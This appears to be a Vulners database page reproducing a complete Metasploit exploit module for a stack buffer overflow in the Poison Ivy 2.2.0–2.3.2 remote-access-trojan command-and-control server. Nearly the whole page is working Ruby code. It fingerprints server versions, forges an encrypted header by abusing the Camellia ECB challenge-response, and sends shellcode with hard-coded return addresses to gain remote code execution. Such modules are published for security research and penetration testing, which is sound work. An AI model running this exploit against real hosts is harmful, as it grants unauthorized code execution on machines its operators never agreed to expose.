Lucene search
K

Malware exploit: Poisonivy

🗓️ 14 Jan 2017 00:00:00Reported by Gal BadishiType 
pwnmalw
 pwnmalw
🔗 www.pwnmalw.re👁 530 Views

Poison Ivy Server Buffer Overflow exploi

Code
<code>##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Poison Ivy Server Buffer Overflow',
      'Description'    =&gt; %q{
        This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&amp;C server.
        The exploit does not need to know the password chosen for the bot/server communication.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'Andrzej Dereszowski', # Vulnerability Discovery
          'Gal Badishi', # Exploit and Metasploit module
          'juan vazquez', # Testing and little of Metasploit-fu
          'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for bruteforcing by (ab)using C&amp;C challenge-response as encryption oracle
        ],
      'References'     =&gt;
        [
          [ 'OSVDB', '83774' ],
          [ 'EDB', '19613' ],
          [ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
          [ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ],
        ],
      'DisclosureDate' =&gt; 'Jun 24 2012',
      'DefaultOptions' =&gt;
        {
          'EXITFUNC' =&gt; 'thread',
        },
      'Payload'        =&gt;
        {
          'StackAdjustment'   =&gt; -4000,
          'Space'             =&gt; 10000
        },
      'Platform'       =&gt; 'win',
      'Targets'        =&gt;
        [
          [
            'Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1',
            {
              'Ret' =&gt; 0x00425E5D, # jmp esp from "Poison Ivy 2.2.0.exe"
              'RWAddress' =&gt; 0x00401000,
              'Offset' =&gt; 0x8069,
              'PayloadOffset' =&gt; 0x75,
              'jmpPayload' =&gt; "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
            }
          ],

          [
            'Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1',
            {
              'Ret' =&gt; 0x00442749, # jmp esp from "Poison Ivy 2.3.0.exe"
              'RWAddress' =&gt; 0x00401000,
              'Offset' =&gt; 0x8069,
              'PayloadOffset' =&gt; 0x75,
              'jmpPayload' =&gt; "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
            }
          ],

          [
            'Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1',
            {
              'Ret' =&gt; 0x0041AA97, # jmp esp from "Poison Ivy 2.3.1.exe" and "Poison Ivy 2.3.2.exe"
              'RWAddress' =&gt; 0x00401000,
              'Offset' =&gt; 0x806D,
              'PayloadOffset' =&gt; 0x75,
              'jmpPayload' =&gt; "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
            }
          ]
        ],
      'DefaultTarget'  =&gt; 2
    ))

    register_options(
      [
        Opt::RPORT(3460)
      ], self.class)

  end

  def check
    # camellia block size
    block_size = 16
    # number of blocks in challenge
    block_count = 16
    challenge = ("\x00" * block_size * block_count)

    indicator = {}
    # 0x0000113e as first 4 bytes on PI 2.1.0
    indicator[[0x0000113e].pack('V')] = '2.1.0'
    # 0x00001212 as first 4 bytes on PI 2.1.1
    indicator[[0x00001212].pack('V')] = '2.1.1'
    # 0x000013f6 as first 4 bytes on PI 2.1.2
    indicator[[0x000013f6].pack('V')] = '2.1.2'

    # 0x000013e0 as 4 bytes after challenge on PI 2.2.0
    indicator[[0x000013e0].pack('V')] = '2.2.0'
    # 0x00001470 as 4 bytes after challenge on PI 2.3.0
    indicator[[0x00001470].pack('V')] = '2.3.0'
    # 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2
    indicator[[0x000015D0].pack('V')] = '2.3.1/2.3.2'

    connect
    sock.put(challenge)
    response = sock.get_once(256)

    if response &amp;&amp; response.length == 256
      # Poison Ivy &gt;= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks
      # map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks.
      first_block = response[0, 16]
      (1..15).each do |index|
        unless response[index * 16, 16] == first_block
          vprint_status("Response doesn't match Poison Ivy Challenge-Response format.")
          return Exploit::CheckCode::Safe
        end
      end

      response = sock.get_once(4)
    end

    disconnect

    if response &amp;&amp; response.length == 4
      disconnect
      if indicator.key?(response)
        version = indicator[response]
        vprint_status("Poison Ivy C&amp;C version #{version} detected.")
        return Exploit::CheckCode::Appears
      end
    end

    vprint_status("Response doesn't match Poison Ivy Challenge-Response protocol.")
    Exploit::CheckCode::Safe
  end

  def exploit
    # Handshake
    connect
    print_status('Performing handshake...')

    # plaintext header
    plaintext_header = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    # crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle
    challenge = plaintext_header + ("\x00" * (256 - 32))
    sock.put(challenge)
    # response = encrypt(challenge, key)
    response = sock.get_once

    # since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key
    encrypted_header = response[0, 32]

    # Don't change the nulls, or it might not work
    xploit  = ''
    xploit &lt;&lt; encrypted_header
    xploit &lt;&lt; "\x00" * (target['PayloadOffset'] - xploit.length)
    xploit &lt;&lt; payload.encoded
    xploit &lt;&lt; "\x00" * (target['Offset'] - xploit.length)
    xploit &lt;&lt; [target.ret].pack('V') # ret to a jmp esp opcode
    xploit &lt;&lt; [target['RWAddress']].pack('V') # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
    xploit &lt;&lt; target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)

    # The disconnection triggers the exploit
    print_status('Sending exploit...')
    sock.put(xploit)
    select(nil,nil,nil,5)
    disconnect
  end

end

=begin

* ROP version of exploit(): Has been discarded at the moment because of two reasons:

(1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process)
(2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter

=end
</code>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation